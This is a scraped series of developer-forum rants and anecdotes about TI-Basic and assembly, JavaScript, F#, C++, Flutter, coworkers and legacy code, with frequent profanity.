I found the specs, and a few terrible docs and other sources, but with only one year of programming experience, I didn’t really understand what they were telling me. This was before stackoverflow, etc., too, so what little help I found was mostly from forum posts, IRC (mostly got ignored or made fun of), and reading other people’s source when I could find it. And usually that was less than clear.
And here’s where we dive into the specifics. Starting with so little experience, and in TI-Basic of all things, meant I had zero understanding of pointers, memory and addresses, the stack, heap, data structures, interrupts, clocks, etc. I had mastered everything TI-Basic offered, which astoundingly included arrays and matrices (six of each), but it hid everything else except basic logic and flow control. (No, there weren’t even functions; it has labels and goto.) It has 27 numeric variables (A-Z and theta, can store either float or complex numbers), 8 Lists (numeric arrays), 6 matricies (2d numeric arrays), 10 strings, and a few other things like “equations” and literal bitmap pictures.
Soo… I went from knowing only that to learning pointers. And pointer math. And data structures. And pointers to pointers, and the stack, and function calls, and all that goodness. And remember, I was learning and writing all of this in plain Assembly, in notepad (or on paper at school), not in C or C++ with a teacher, a textbook, SO, and an intelligent compiler with its incredibly helpful type checking and warnings. Just raw trial and error. I learned what I could from whatever cryptic sources I could find (and understand) online, and applied it.
But actually using what I learned? If a pointer was wrong, it resulted in unexpected behavior, memory corruption, freezes, etc. I didn’t have a debugger, an emulator, etc. I had notepad, the barebones compiler, and my calculator.
Also, iterating meant changing my code, recompiling, factory resetting my calculator (removing the battery for 30+ sec) because bugs usually froze it or corrupted something, then transferring the new program over, and finally running it. It was soo slowwwww. But I made steady progress.
Painful learning experience? Check.
Pointer hell? Absolutely.4 -
A dev team has been spending the past couple of weeks working on a 'generic rule engine' to validate a marketing process. The “Buy 5, get 10% off” kind of promotions.
The UI has all the great bits, drop-downs, various data lookups, etc etc..
What the dev is storing the database is the actual string representation FieldA=“Buy 5, get 10% off” that is “built” from the UI.
Might be OK, but now they want to apply that string to an actual order. Extract ‘5’, the word ‘Buy’ to apply to the purchase quantity rule, ‘10%’ and the word ‘off’ to subtract from the total.
Dev asked me:
Dev: “How can I use reflection to parse the string and determine what are integers, decimals, and percents?”
Me: “That sounds complicated. Why would you do that?”
Dev: “It’s only a string. Parsing it was easy. First we need to know how to extract numbers and be able to compare them.”
Me: “I’ve seen the data structures, wouldn’t it be easier to serialize the objects to JSON and store the string in the database? When you deserialize, you won’t have to parse or do any kind of reflection. You should try to keep the rule behavior as simple as possible. Developing your own tokenizer that relies on reflection and hoping the UI doesn’t change isn’t going to be reliable.”
Dev: “Tokens!...yea…tokens…that’s what we want. I’ll come up with a tokenizing algorithm that can utilize recursion and reflection to extract all the comparable data structures.”
Me: “Wow…uh…no, don’t do that. The UI already has to map the data, just make it easy on yourself and serialize that object. It’s like one line of code to serialize and deserialize.”
Dev: “I don’t know…sounds like magic. Using tokens seems like the more straightforward O-O approach. Thanks anyway.”
I probably getting too old to keep up with these kids, I have no idea what the frack he was talking about. Not sure if they are too smart or I’m too stupid/lazy. Either way, I keeping my name as far away from that project as possible.4 -
First rant: but I'm so triggered and everyone needs a break from all the EU and PC rants.
It's time to defend JavaScript. That's right, the best frikin language in the universe.
Features:
incredible async code (await/async)
universal support on almost everything connected to the internet
runs on almost all platforms including natively
dynamically interpreted but also internally compiled (like Perl)
gave birth to JSON (you're welcome ppl who remember that the X in AJAX stood for XML)
All these people ranting about JS don't understand that JS isn't frikin magic. It does what it needs to do well.
If you're using it for compute-heavy machine learning, or to maintain a 100k LOC project without Typescript, then why'd you shoot yourself in the foot?
As a proud JS developer I gotta scroll through all these posts gushing over the other languages. Why does nobody rant about using Python for bitcoin mining or Erlang to create a media player?
Cuz if you use the wrong tool for the right job, it's of course gonna blow up in your face.
For example, there was a post claiming JS developers were "scared" of multithreading and only stick in their comfort zone. Like WTF when NodeJS came out everything was multithreaded. It took some brave developers to step out of the comfort zone to embrace the event loop.
For a web app, things like PHP and Node should only be doing light transforms between the database information and HTML anyways. You get one thread to handle the server because you're keeping other threads open to interface with databases and the filesystem. The Nexus.js dev ranting on all us JS devs and doesn't realize that nobody's actual web server is CPU bound because of writing HTML bodies, thats why we only use 1 thread. We use other worker threads to do the heavy lifting (yes there is a C++ bridge look it up)
Anyways TL;DR plz respect JS developers we're people too. ES7 is magic and please don't shit on ES3 or we'll start shitting on the Python 2-3 conversion (need to maintain an outdated binary just cuz people leave out ()'s in their print statements)
Or at least agree that VB.NET is an abomination and insult to the beauty that is TI-84 BASIC13 -
I wrote a prototype for a program to do some basic data cleaning tasks in Go. The idea is to just distribute the files with the executable on our shared network to our team (since it is small enough, no github bullshit needed for this) and they can go from there.
Felt experimental, so I decided to try out F# since I have always been interested with it and for some reason Microsoft adopted it into their core net framework.
I shit you not, from 185 lines of Go code, separated into proper modules etc not to mention the additional packages I downloaded (simple things for CSV reading bla bla)
To fucking 30 lines of F# that could probably be condensed more if I knew how to do PROPER functional programming. The actual code is very much procedural with very basic functional composition, so it could probably be even less, just more "dense"
I am amazed really. I do not like that namespace pollution happens all over F# since importing System.IO gives you a bunch of shit that you wouldn't know where it is coming from unless you fuck enough with Ionide and the docs. But man.....
No need for dotnet run to test this bitch, just highlight it on the IDE, alt enter and WHAM you have the repl in front of you, incremental quasi like Lisp changes on the code can be REPL changed this way, plethora of .NET BCL wonders in it, and a single point of documentation as long as you stay in standard .net
I am amazed and in love, plus finding what I wanted to do was a fucking cakewalk.
Downside: I work in a place in which Python is seen as magic and PHP, VB.NEt and C# is the end all be all of languages. If me goes away or dies there will be no one else in this side of the state to fuck with F#
This language needs to be studied more. Shit can be so compact, but I do feel that one needs to really know enough of functional programming to be good at it. It is really not a pure language like Haskell (then again, haskell is the only "mainstream" pure functional language ain't it not?) but still, shit is really nice and I really dig what Microhard is doing in terms of the .net framework.
Will provide later findings. My entire team is on the Microsoft space, we do have Linux servers, but porting the code to generate the necessary executables for those servers if needed should be a walk in the park. I am just really intrigued by how many lines of code I was able to cut down from the Go application.
Please note that this could also mean that I am a shit Golang dev, but the cut down of nil err checkings do come somewhere.9 -
These two!!!
Sherlock giving the motivation to do detective work and find the bugs. Dumbledore giving the motivation to use magic and code the solution. :D8 -
Ok, so teacher (which should be something like a professional dev or whatever) assigned us a homework for a Christmas (I dont care, I can complete his assignments in like 10 minutes max). We have to do some simple shit in C++, just some loops and input + output. Nothing hard. He challenged me to write it as short as possible, so I did. My classmates have codes around 60 to 70 lines long (after propper formating). I made it 20 lines long using some pointer magic and stuff like that. I tried my code, it ran fucking perfectly, so I sent that to him. He replied that the code does not work. I tried to recompile it and it ran perfectly. Again, it does not work. Afeter 13 fucking emails he fucking finally sent me the error message. Some fucntion was not found (missing some library but literally everywhere else it works without it...). Thats strange, because it run perfectly on my Fedora with CLion, so I switch to Windows and try to run same code in Visual Studio (which we are using in school btw). Works perfectly. So I start arguing with the teacher more and more. I tried around 10 online compilers. Works fuckng everywhere. Teacher is pissed, me too. So I rewrote my whole code, added comments and shit, reinvented wheel literally everywhere. Now I have C99 standardised code over 370 lines long that run even on a fucking arduino after changing input output methods so it can work with it. It (suprisingly runs) on his PC too.
After a bit more arguing, he said that he is using CodeBlocks from fucking 2015. Wow. Just fucking wow. Even our school has some old Visual Studio (2007 I guess) and it worked there.6 -
We do infra as a code, and one of my coworker worked on the project alone. Few months down the road, when shit hits the fan, he just message me this is not working.
First of all, I did not write that shit, and also I was never part of the conversation during the decision making. So when shit hits the fan what do you expect me to do? Do some black magic and fix it magically???1 -
90%+ of production issues are caused by developers believing production machines are magic and have unlimited resources so can handle any shit code they write11
-
I fucking hate chained methods. Ok, not all of them. Query things like array.where.first... that stuff is ok.
Specially if it's part of the std lib of a lang, which would be probably written by a very competent coder and under scrutiny.
But if you're not that person, chances are you'll produce VASTLY inferior code.
I'm talking about things like:
expect(n).to.be(x).and.not(y)
And the reason I don't like it is because it's all fine and dandy at first.
But once you get to the corner cases, jesus christ, prepare to read some docpages.
You end up reading their entire fucking docs (which are suboptimal sometimes) trying to figure if this fucking dsl can do what you need.
Then you give up and ask in a github issue. And the dev first condescends you and then tells you that the beautiful eden of code he created doesn't let you do what you want.
The corner cases usually involve nesting or some very specific condition, albeit reasonable.
This kind of design is usually present in testing or validation js libraries. And I hate all of those for it.
If you want a modern js testing lib that doesn't suck ass, check avajs. It's as simple as testing should be.
No magic globals, no chaining, zero config. Fuck globals forced by libs.
But my favorite thing about it that is I can put a breakpoint wherever the fuck I want and the debugger stops right fucking there.
Code is basically lines of statements, that's it, and by overusing chaining, by encouraging the grouping of dozens of statements into one, you are preventing me from controlling these statements on MY code.
As an end dev, I only expect complexity increases to come from the problems themselves rather than from needlessly "beautified" apis.
When people create their own shitty dsl, an image comes to my mind of an incoherent rambling man that likes poetry a lot and creates his own martial art, which looks pretty but will get your ass kicked against the most basic styles of fighting.
I fucking hate esoteric code.
Even if I had to execute a list of functions, I'd rather send them in an array instead of being able to chain them because:
a) tree shaking would spare from all the functions i didn't import
b) that's what fucking arrays are for, to contain several things.
This bad style of coding is a result of how low the barrier to code in higher level langs are.
As a language or library gets easier to use you might think that's a positive thing. But at the same time it breeds laziness.
Js has such a low learning curve that it attacts the wrong kind of devs, the lazy, the uninspired, the medium.com reader, the "i just care about my paycheck" ones.
Someone might think that by bashing bad js devs I'm trying to elevate myself.
That'd be extremely stupid. That's like beating a retarded blind man in a game and then saying "look, I'm way better than this retarded blind man".
I'm not on a risky point of view, just take a stroll down npmjs.com. That place is a landfill. Not really npm's fault, in fact their search algorithm is good.
It's just the community.
Every lang has a ratio of competence. Of competent to incompetent devs.
You have the lang devs and most intelligent lib devs at the top. At the bottom you have the bottom.
Well js has a horrible ratio. I wouldn't be shocked to find out that most js devs still consider using import or await the future.
You could say that js improved a lot, that it was way worse beforr. But I hate chaining now, and i hated back then!
On top of this, you have these blog web companies, sucking the "js tutorial" business tit dry, pumping out the most obscenely unprofessional and bar lowering tutorials you can imagine, further capping the average intelligence of most js devs.
And abusing SEO while they're at it, littering the entire web with copy paste content.2 -
-- Once upon a time in a long forgotten country, a most wise wizard created a magic software that would replace all TODO comments in PHP files with actual code...
-- But dad, that's the wrong story. You wanted to tell the story of the WTF witch who makes all JS objects falsy.
Me -- Hm, okay mister, you got me. Let's see.
Me again -- Once upon a time in the far-off country of Whatthefuckia...
Man I'm so proud of my son.1 -
Colleague: I have an error in my application, can you help me?
Me: Sure
*walks next to him*
Me: So... What is it?
Colleague: Here, it won't run
*launches the application and runs perfectly*
Colleague: Tell me your secret senpai5 -
I just fixed my first code issue in my first IT job ever! Holy fucking shit I'm almost senior software engineer by now!
That magic joy of knowing that my instructions will run on someone else's computer is just mind-blowing. -
OK. A friend asked me how I found devRant. Let me tell the story.
I was solving a google code-jam problem. I was in hurry and I missed an intent. I was short in time and the error drove me crazy. so I opened a tab, typed: "fuck python" and the magic happened. The first result was a rant from devRant.12 -
Consumers ruined software development and we the developers have little to no chance of changing it.
Recently I read a great blog post by someone called Nikita, the blog post talks mostly about the lack of efficiency and waste of resources modern software has and even tho I agree with the sentiment I don't agree with some things.
First of all the way the author compares software engineering to mechanical, civil and aeroespacial engineering is flawed, why? Because they all directly impact the average consumer more than laggy chrome.
Do you know why car engines have reached such high efficiency numbers? Gas prices keep increasing, why is building a skyscraper better, cheaper and safer than before? Consumers want cheaper and safer buildings, why are airplanes so carefully engineered? Consumers want safer and cheaper flights.
Wanna know what the average software consumer wants? Shiny "beautiful" software that is either dirt ship or free and does what it needs to. The difference between our end product is that average consumers DON'T see the end product, they just experience the light, intuitive experience we are demanded to provide! It's not for nothing that the stereotype of "wizard" still exists, for the average folk magic and electricity makes their devices function and we are to blame, we did our jobs TOO well!
Don't get me wrong, I am about to become a software engineer and efficient, elegant, quality code is the second best eye candy next to a 21yo LA model. BUT dirt cheap software doesn't mean quality software, software developed in a hurry is not quality software and that's what douchebag bosses and consumers demand! They want it cheap, they want it shiny and they wanted it yesterday!
Just look at where the actual effort is going, devs focus on delivering half baked solutions on time just to "harden" the software later and I don't blame them, complete, quality, efficient solutions take time and effort and that costs money, money companies and users don't want to invest most of the time. Who gets to worry about efficiency and ms speed gains? Big ass companies where every second counts because it directly affects their bottom line.
People don't give a shit and it sucks but they forfeit the right to complain the moment they start screaming about the buttons not glaring when hovered upon rather than the 60sec bootup, actual efforts to make quality software are made on people's own time or time critical projects.
You put up a nice example with the python tweet snippet, you have a python script that runs everyday and takes 1.6 seconds, what if I told you I'll pay you 50 cents for you to translate it to Rust and it takes you 6 hours or better what if you do it for free?
The answer to that sort of questions is given every day when "enganeers" across the lake claim to make you an Uber app for 100 bucks in 5 days, people just don't care, we do and that's why developers often end up with the fancy stuff and creating startups from the ground up, they put in the effort and they are compensated for it.
I agree things will get better, things are getting better and we are working to make programs and systems more efficient (specially in the Open Source community or high end Tech companies) but unless consumers and university teachers change their mindset not much can be done about the regular folk.
For now my mother doesn't care if her Android phone takes too much time to turn on as long as it runs Candy Crush just fine. On my part I'll keep programming the best I can, optimizing the best I can for my own projects and others because that's just how I roll, but if I'm hungry I won't hesitate to give you the performance you pay for.
Source:
http://tonsky.me/blog/...13 -
i once ran into this:
// magic part starts here, do not touch
and this:
// i know, and i'm sorry
in legacy code. needless to say, i prefer undocumented, well-written code to all that followed1 -
My ex-boss who had 35 years of experience in IT Industry, didn't know one single fucking coding language, obviously had no clue about source control or anything even remotely related to computers, and had been project manager of a project having over 1 million lines of totally undocumented code split into 389 files with no apparent structuring. All variables were either alphabets or names of programmers who developed them.
Code was in Python 2 and had bugs/line ratio ~= 5.
He asked to write a 'wrapper' class and somehow run it in Java and fix all bugs automatically. (insert Shia LaBeouf's magic GIF here)
When I said it doesn't make sense, he said you should put in hard work and do it, and not give excuses.
Time given to do this - 1 hour :-P
Good thing I quit that shit place and that pathetic moron. Love my new job and life! :D
Seriously managers should trust their developers and allow some degree of freedom. It helps a lot.4 -
!rant
The more I learn about advanced C++ the more I love this language. C++'s template system is so insanely cool!
Just made a proof of concept expression templates based linear algebra library for my own projects. It was actually a lot of fun to make, and seeing it spit out optimized, loop-fused code with no temporary variables...magic.
Long live C++.7 -
I once had a class mate who argued that coding in C not only produced faster code than .NET C#, but that he could actually produce applications faster than me in C.
I challenged him to make a Web browser. While he was struggling to remember if it was #include <stdio.h> or #include <iostream>, I started typing WebBro... and let IntelliSense work it's magic.
Needless to say I won.
Sadly, he wouldn't admit his defeat but went on about how much faster his browser would run in the end...
He has yet to release a Web browser written completely in C.15 -
I used to work IT in an entertainment startup, and now I’m an iOS dev at a big entertainment company. Several people from my old company have been reaching out to eagerly tell me about their new app idea I just have to hear, asking me to help code their app— and have even hinted at me quitting my nice safe job to join their great new startup that doesn’t even exist yet.
I know this must happen to app devs all the time. What do you say?
How do you deal with telling these nice people who just don’t understand it doesn’t work that way, without crushing their dream? I have a coffee meeting planned to tell one of them “You should learn to code so you can make a proof of concept,” but I fear that won’t be received well.
What’s the standard protocol for telling people you won’t be able to code their magic app idea?10 -
PM: "Please try to prioritize this request that we made last Friday at 5pm over all your other high priority stuff we know you're busy and we should have requested this 3 months ago... but now we need to deliver next week and well we need it"
5 minutes later "When can you deliver that?"
Another 5 minutes later "Sorry can you give me that delivery date? We REALLY need it"
Well maybe if you leave me in peace and I can concentrate on my job rather than answering silly requests I can make up an idea of how much time I need to deliver... but of course I'm just a code monkey, I press some randome keys and the magic happens. -
Running code in a JVM ... which is a virtual machine...
Inside a VM that runs Linux...
Inside a host OS that runs on native...which runs on a CISC processor... that internally runs a RISC architecture... so that makes the CISC a VM...
The RISC architecture I am pretty sure runs on Elf Magic... I am fairly certain Turing was an Elf working for Santa...
So I am really running my code on VM Elf Magic9 -
Apart from having a baby which is the hardest in the world,i think the hardest project is to learn to code.
I studied philosophy and anthropology but gamed a lot. Me and a good mate decided to work together and he told me hed teach me coding.
The guy is a genius but he is a reckless rebel genius who tells everybody to fuck off.
So,after 1 year in a half of intense coding where i had to learn linux, networks, and im not shitting you html and css as well and of course javascript.
He has now put me on, for the last 2 month, in charge of our front end backoffice. I have to design forms that do the right http requests,do the unit testing, play with redux-form, react-redux and he has thrown me into the basic java backend so i can begin working with entites and how i serve the data and link it to the database and even create tables.
Every time i fail hemakes me remake everything.
I actually came on devrant to study the dev community (i always gamed a lot but this is a whole different community). The dev community is pretty awesome and unique.
Anyhow, i remember when i saw him as me to complete an exercise and i didnt event know which words were the reserved language ones and those i could use myself. It was like fucking magic.3 -
3 hours...
3 damn hours for 200 lines of bash code.
Exorcism, Magic I don't care.... But please make a special person never touching bash programming again.
I ripped my hairs out. Really.
Till I realized someone wrote functions with _logical_ return true codes as numbers.
0 - as logical false, for failure
1 - as logical true, for success
Leading my brain into a severe segfault fun.
Why... Oh why.
Second fun part as I corrected that...
Someone wasn't fond of exit codes at all.
Script is now 86 % rewritten....
God damn it, if you don't like a languages fine.
But inverting core logic should give a free trip to the electrical chair.1 -
Have you ever been pair coding with someone who uses shotgun debugging? I am about to claw my eyes out! What is shotgun debugging you ask?
Code doesn't work... What do we do?
I start thinking about possible flow, how to go back to what works, where to insert debugging statements. My partner interrupts my thought and says - what if we change this variable name?
...uh what?
What if that fixes it
It won't!
Well how do you know if you don't try?
I change the variable name - of course nothing works and now I forgot the possible solution I was thinking about...
Starting over... I again start coming close to the idea... Interrupts me again. What if we comment out this random line?
Why what's your reasoning?
Answer: *Shrug* idk might work...
...rinse and repeat
WHAT IS WRONG WITH YOU???!
I literally started muting my computer sound so I can not hear him while I think and that helps tremendously. This is programming not magic, people!!! Stop throwing random "what if" suggestions!13 -
Will try to keep that one short.
So we have internal system for active QR codes, nothing really special, as you could imagine. I wrote it when I was beginner but it works and is heavly battle-tested.
Today JBOG (just bunch of guys) come in and try to BS me that something is showing up wrongly for someone.
I check things up, nothing looks out of the order, I go there, everything looks fine too, and they say that yeah but this printed certificate's QR dosen't match what some QR with this name is within the system...
Short invastigation. TL;DR, someone who was rendering/printing these certificates had bunch of these codes with names like
30. ABC
31. ABC
32. ABC
And just casually missclicked...
And to come to that conclusion they need fucking backend dev to confirm that code last 1.5 year didnt magically change, and to destroy their magical belief that it's code's fault.
No, someone fucking missclicked. Whole magic. Usually problem is between chair and keyboard, get fucking used to it. Now, having that settled, let me get back to my work. -
I'm working with some too smart junior. He rarely listens, does his own magic.
In his last MR, he did an ugly fix, 100 lines big. I told him exactly, what to check first, but nope, he's likes being a magician.
Now, I took 5 min and fixed it with single line of code.3 -
People caught using emojis in code should be driven into the sea.
Otherwise one day its gonna just be straight magic, without reason or understanding.
You're gonna type a bunch of moon runes into a glowing floaty interface, pour the blood of a chicken into a collector tray (totally not a pentagram) and "shit just happens" (tm).
And "scholars" (neckbeards) will spend all their time shape-in-wrong-hole idiocracy-style button mashing their mystical ouija board IDEs in the grim dark future, looking for combinations that do something useful.
Every time it glows red? Compile error.
Every time it glows green? Christmas is near, congrats it compiled.
Every time it sets off a mystical air siren (henceforth known as "fusrohdah"), runtime error. And probably explosions.
In the grim dark future of Apple 40k. A.D, there is only war, warp demons, and pending VSCode updates.11 -
Kotlin support on Android:
i never liked Java, not because of the language but for the usual bad design implementations and Android is one of those.
Then Kotlin arrived, it looked very promising but it's when i looked at Coroutines that it simply blew my mind:
you just have to write your code and the Kotlin's compliler "magic" will do most of the boring/complex stuff for you and it's even great performance wise!
I even refactored inter-process calls to simple sync functions with few like of code and for a non-android developer like me it's just love at first sight!3 -
Mentors, take note. This is a best practice over here.
I've spent two days digging through obscure documentation trying to accomplish one of those tasks that is simple in word and complex in deed. Namely, I wanted to concatenate (not delete) near-duplicate values in Pandas before rendering the data into a graph. Two days beating my head against the wall.
One of my mentors (I'm an intern) heard about the issue, wrote in the proper line (a very specifically and archaically formatted command), and pushed it to repo without even asking for thanks. Works like a charm and he saved my rear end. What a guy.
Please, mentors, don't leave your interns hanging on problems where the only solution is shrouded in dubious documentation and magic syntax. Especially when there's a deadline involved. Let them struggle on logic flow and writing good code.
Be like this guy. You'll build the importance of teamwork and your intern will think you're a wizard.2 -
Different perspective.
So your friend wants you to make the next big Facebook or Google because they know you can code....lots of rants like that and it gets me as well when I'm fixing printers for family and friends. Thing is these people genuinely just want to do something cool and succeed so they can have a good life. They see what we can do and wish they had the same talent. They have an idea they think will be great, they don't know what we know, and they don't know that it could be the most amazing thing ever and still never take off.
They don't realize to be Facebook or Google you have to sell out your values, morals, and soul. They just think if we can code we should be millionaires. So on that philosophy after just over a year the devRant creators should be rolling in cash right? But pretty sure I saw they are still operating at a loss.
I'd love to be able to have the time to work with each of them, teach them, and guide them through that first failure and let down of realizing that coding doesn't buy a magic ticket to a new life.
// Like anyone ever really fixes a printer //2 -
Learning through documentation.
I learned one thing.... That how I can copy paste any thing in my code and comment it as "magic happens here do not touch."
Yeah thats my code learned from documentation (image below ) -
There is something so comfy about Java that I never get from other languages.
I don't know why but I genuinely enjoy writing 200 lines of boilerplate code. Maybe it makes me feel I am in control and not some syntactic magic like in Python or Javascript.
People keep ranting on java, yet it lives on.2 -
PM asked me to make the code deeper, here's the new load script:
//Someone is born (init script and load deps, also run it)
$life = new begin_life();
//magic happens (generate random token)
$life->Living = openssl_random_pseudo_bytes(rand(), TRUE);
//We end it all
$life->die();3 -
Hmm...recently I've seen an increase in the idea of raising security awareness at a user level...but really now , it gets me thinking , why not raise security awareness at a coding level ? Just having one guy do encryption and encoding most certainly isn't enough for an app to be considered secure . In this day an age where most apps are web based and even open source some of them , I think that first of all it should be our duty to protect the customer/consumer rather than make him protect himself . Most of everyone knows how to get user input from the UI but how many out here actually think that the normal dummy user might actually type unintentional malicious code which would break the app or give him access to something he shouldn't be allowed into ? I've seen very few developers/software architects/engineers actually take the blame for insecure code . I've seen people build apps starting on an unacceptable idea security wise and then in the end thinking of patching in filters , encryptions , encodings , tokens and days before release realise that their app is half broken because they didn't start the whole project in a more secure way for the user .
Just my two cents...we as devs should be more aware of coding in a way that makes apps more secure from and for the user rather than saying that we had some epic mythical hackers pull all the user tables that also contained unhashed unencrypted passwords by using magix . It certainly isn't magic , it's just our bad coding that lets outside code interact with our own code . -
Well what an adventure with this SSD...😑
my sis' laptop is from 2013-ish(?) and has/had a slow HDD in it. I wanted to speed it up, before her study, so I bought a new internal SSD (no new laptop wanted).
Created a bootable USB, exchanged the hard drives and install the OS on it. Seems easy enough...
The laptop restarts to finish its process ... laptop shuts down immediately, no warning whatsoever. 😳🤨
Start it up, loading screen, fan gets louder and louder ... instant shut down.😳🤨🤨.
Redo process, this time landing on blue-screen, error code critical process died? ... instant shut down again.🤔
Restart from old HDD, normal.😐
Retry with boot USB and reinstall SSD. Setup process copying files, meanwhile instant shut down.😳 Please don't tell me!😩 Since every part of the laptop was working, except the new inserted SSD, I thought "FUCK not a broken SSD!😣"
I had my own PC with internal SSD slot, so tried to find out, whether it would be broken...
All starting up fine??🤨🤨
Ok then? Finish the setup for the third time now ... everything up and running.😐🤷
Normal shut down, unplug, plug back onto laptop, it works. HOW?? WHY?? 😕
Why the fuck are you suddenly working? 😐🤷🤷🤷
That's some magic...5 -
can we all take a moment to appreciate the developers of flutter. they're smart, and they took the time to make flutter the *right* way.
they used an easy to learn language that's ideal for mobile development, which means hot reload/restart is possible (because dart supports aot and jit compilation)
the way it's designed is beautiful. everything is a widget, and it's easy to customize them via named parameters.
the community is great. it's not large, but it's supportive, with two active subreddits. yesterday i asked a question on r/flutterdev, and a member of the flutter team at google answered the question with a comprehensive answer.
flutter is very consistent across platforms. if it works on android or ios, you can bet it'll work on the other just as well, with the exception of platform-specific code.
it is VERY performant. unless you write a major bottleneck, 60fps is easy to achieve.
animations are EASY. define a tween and animation controller and then write a callback function. not to mention it's straightforward, and complex/combined animations are easy, too.
you can get almost direct access to the canvas, should you need it, with custompainter.
oh my god, this is revolutionary in the programming world. development is quicker than it is with native android alone, and for people who have no access to a mac, like me, i can develop for ios and compile via code magic. if you haven't checked it out and you develop for mobile, check it out.
oh yeah, did i mention it's not just mobile. hummingbird - flutter compiled to web - is already in experimental public betas, and will likely be released by the end of the year. there's also experimental desktop support, which is amazing, and much better than electron. not to mention flutter is the future, as it will be the primary way to make apps on fuchsia os.13 -
Ah, developers, the unsung heroes of caffeine-fueled coding marathons and keyboard clacking symphonies! These mystical beings have a way of turning coffee and pizza into lines of code that somehow make the world go 'round.
Have you ever seen a developer in their natural habitat? They huddle in dimly lit rooms, surrounded by monitors glowing like magic crystals. Their battle cries of "It works on my machine!" echo through the corridors, as they summon the mighty powers of Stack Overflow and Google to conquer bugs and errors.
And let's talk about the coffee addiction – it's like they believe caffeine is the elixir of code immortality. The way they guard their mugs, you'd think it's the Holy Grail. In fact, a developer without coffee is like a computer without RAM – it just doesn't function properly.
But don't let their nerdy exteriors fool you. Deep down, they're dreamers. They dream of a world where every line of code is bug-free and every user is happy. A world where the boss understands what "just one more line of code" really means.
Speaking of bosses, developers have a unique ability to turn simple requests into complex projects. "Can you make a small tweak?" the boss asks innocently. And the developer replies, "Sure, it's just a minor change," while mentally calculating the time it'll take and the potential for scope creep.
Let's not forget their passion for acronyms. TLA (Three-Letter Acronym) is their second language. API, CSS, HTML, PHP, SQL... it's like they're playing a never-ending game of Scrabble with abbreviations.
And documentation? Well, that's their arch-nemesis. It's as if writing clear instructions is harder than debugging quantum mechanics. "The code is self-explanatory," they claim, leaving everyone else scratching their heads.
In the end, developers are a quirky bunch, but we love them for it. Their quirks and peculiarities are what make them the creative, brilliant minds that power our digital world. So here's to developers, the masters of logic and the wizards of the virtual realm!13 -
For my father, I do wizardry, for my mother I do magic, for my brother I type weird stuff, for my gf I code useless stuff, for my grandparents I do nothing, for my non dev friends I make softwares, for my dev friends... Magic again1
-
i love to actually understand how the code works! like you're writing some text and surprise - it does magic? no. it goes deeper than that. and when you understand those concepts, coding becomes more serious/fun and interesting1
-
About slightly more than a year ago I started volunteering at the local general students committee. They desperately searched for someone playing the role of both political head of division as well as the system administrator, for around half a year before I took the job.
When I started the data center was mostly abandoned with most of the computational power and resources just laying around unused. They already ran some kvm-hosts with around 6 virtual machines, including a cloud service, internally used shared storage, a user directory and also 10 workstations and a WiFi-Network. Everything except one virtual machine ran on GNU/Linux-systems and was built on open source technology. The administration was done through shared passwords, bash-scripts and instructions in an extensive MediaWiki instance.
My introduction into this whole eco-system was basically this:
"Ever did something with linux before? Here you have the logins - have fun. Oh, and please don't break stuff. Thank you!"
Since I had only managed a small personal server before and learned stuff about networking, it-sec and administration only from courses in university I quickly shaped a small team eager to build great things which would bring in the knowledge necessary to create something awesome. We had a lot of fun diving into modern technologies, discussing the future of this infrastructure and simply try out and fail hard while implementing those ideas.
Today, a year and a half later, we look at around 40 virtual machines spiced with a lot of magic. We host several internal and external services like cloud, chat, ticket-system, websites, blog, notepad, DNS, DHCP, VPN, firewall, confluence, freifunk (free network mesh), ubuntu mirror etc. Everything is managed through a central puppet-configuration infrastructure. Changes in configuration are deployed in minutes across all servers. We utilize docker for application deployment and gitlab for code management. We provide incremental, distributed backups, a central database and a distributed network across the campus. We created a desktop workstation environment based on Ubuntu Server for deployment on bare-metal machines through the foreman project. Almost everything free and open source.
The whole system now is easily configurable, allows updating, maintenance and deployment of old and new services. We reached our main goal for this year which was the creation of a documented environment which is maintainable by one administrator.
Although we did this in our free-time without any payment it was a great year with a lot of experience which pays off now. -
Why is web development such a headache?
I'm writing a responsive wesbite from scratch. All goes perfect, even cross browser.
It all works, adapts to screen size etc. Nice! About to get this code into production.
Me: I'll test the iPhone 5 viewport size before I push the code...
Responsive Developer Tools:
FireFox: nu uh, there's a magic random 1px margin to every element on your page now, which you cannot find in your css or in the computed tab. It's magical.
Me: weird, what if I change the viewport size to the iPhone 6's dimensions?
Issue persists.
Me: hmm, what if I add or substract one fucking pixel from the viewport width or height?
FireFox: What 1px margin? Don't know what you're talking about ... There never was one...
Me: ok, weird (sets viewport size back to the iPhone 5 format for testing)
FireFox: I present to you: the magic random 1px margin.
I'm at a loss. I really am. Been clicking and unclicking almost every responsive part of my css I could find for this page and it just doesn't want to work persistently. And I swear to god that it worked a week ago in that exact viewport size. It's so frustrating.31 -
There is a constructed language called Tokipona. It was made to be the easiest language, and it only contains like 137 words or so.
This language is a perfect demonstration of “expressivity”. Tokipona is not very expressive. Before you know it, your sentence is obscenely long, and you didn't even convey the full meaning of what you wanted to say.
It's also the case with “easy” programming languages and frameworks. Code quantities rise exponentially, and the more code you have, the more bugs there are. There is no magic. And then you have to debug it. Not so easy, huh?9 -
I might create a coding course for people actually interested in learning how to program correctly (not Get Rich Quick Bootcamp style, not webapps, not magic Javascript incantations).
I have an idea on how to structure it but I worry it'll be too weird for most people to follow (starting from binary theory and then teaching machine code and then working upwards to C and beyond) explaining how a computer works along the way, showing the real errors with annotations explaining things, etc.
I've always wanted to teach in this format but I feel as though it's too.. idk, "useless" to most people? But I've never had a friend go through e.g. CodeAcademy and come out knowing how to actually make applications from start to finish without just hacking together random React components and hoping the frankenstein project works well enough.
The target demographic would be those either completely new to programming or just have a fundamental or web-centric preexisting knowledge, or maybe those who simply want to understand computers better.
Am I barking up a shitty tree?28 -
Oh, gather 'round fellow wizards of the code realm! 🧙✨ Let me regale you with the epic tale of software sorcery and the comical misadventures that come with it! 🤪🎉
So there we are, facing the dreaded Internet Explorer dragon 🐉 - an ancient, stubborn beast from the era of dial-up connections and clipart-laden websites. It breathes fire on our carefully crafted layouts, turning them into a pixelated disaster! 🔥😱
And then, the grand quest of cross-browser testing begins! 🚀🌍 One moment, your website is a shining knight in Chrome's armor, and the next, it's a jester in Safari's court. A circus of compatibility struggles! 🎪🤹
CSS, the arcane art of cascading style sheets, is our magic wand. But oh, the incantations can be treacherous! A slight misstep and your buttons start disco dancing, and your text transforms into a microscopic mystery! 🕺👀
But fear not, brave developers! We wield the enchanted sword of Stack Overflow and the shield of Git version control. We shall slay bugs and refactor with valor! ⚔️🐞
